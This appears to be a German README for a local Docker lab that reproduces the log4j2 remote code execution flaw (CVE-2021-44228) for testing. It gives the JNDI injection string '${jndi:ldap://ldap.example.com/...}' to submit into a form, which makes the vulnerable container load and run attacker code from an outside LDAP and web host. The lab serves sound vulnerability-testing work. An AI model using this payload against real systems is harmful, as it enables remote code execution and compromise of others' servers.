
log4j2 CVE-2021-44228 POC
Dies ist ein Projekt, um die Remote-Code-Ausführung-Schwachstelle von log4j2 (CVE-2021-44228) praktisch zu testen.
docker-compose up
Der log4j-Container benötigt nach dem Start etwas Zeit, bis er bereit ist. Überprüfen Sie den Fortschritt mit folgendem Befehl:
docker logs -f log4j
Wenn Server started: Listening on port 8081 angezeigt wird, ist alles bereit.
Überprüfen Sie das Verzeichnis /root des log4j-Containers.
docker exec log4j ls /root
Im Ausgangszustand existiert nur das Verzeichnis work.
Rufen Sie http://localhost:8081/ auf. Es handelt sich um eine einfache Anwendung, die lediglich den im Formular eingegebenen Namen auf dem Bildschirm und im Log ausgibt.
Geben Sie im Formular ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} ein und senden Sie es ab.
Überprüfen Sie das Verzeichnis /root des log4j-Containers.
docker exec log4j ls /root
Der vom Angreifer bereitgestellte Code wurde ausgeführt und es sollten Dateien erstellt worden sein, die zuvor nicht existierten. Die Dateinamen enthalten Zeitstempel, sodass mit jedem Angriff eine neue Datei hinzugefügt wird.
Wenn Sie die Logs des ldap-Containers überprüfen, sehen Sie, dass vom log4j-Container eine SEARCH-Anfrage eingeht.
docker logs ldap
Wenn Sie die Tomcat-Logs des web-Containers überprüfen, sehen Sie, dass vom log4j-Container ein Zugriff auf Exploit.class (die für den Angriff verwendete Klasse) erfolgt.
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*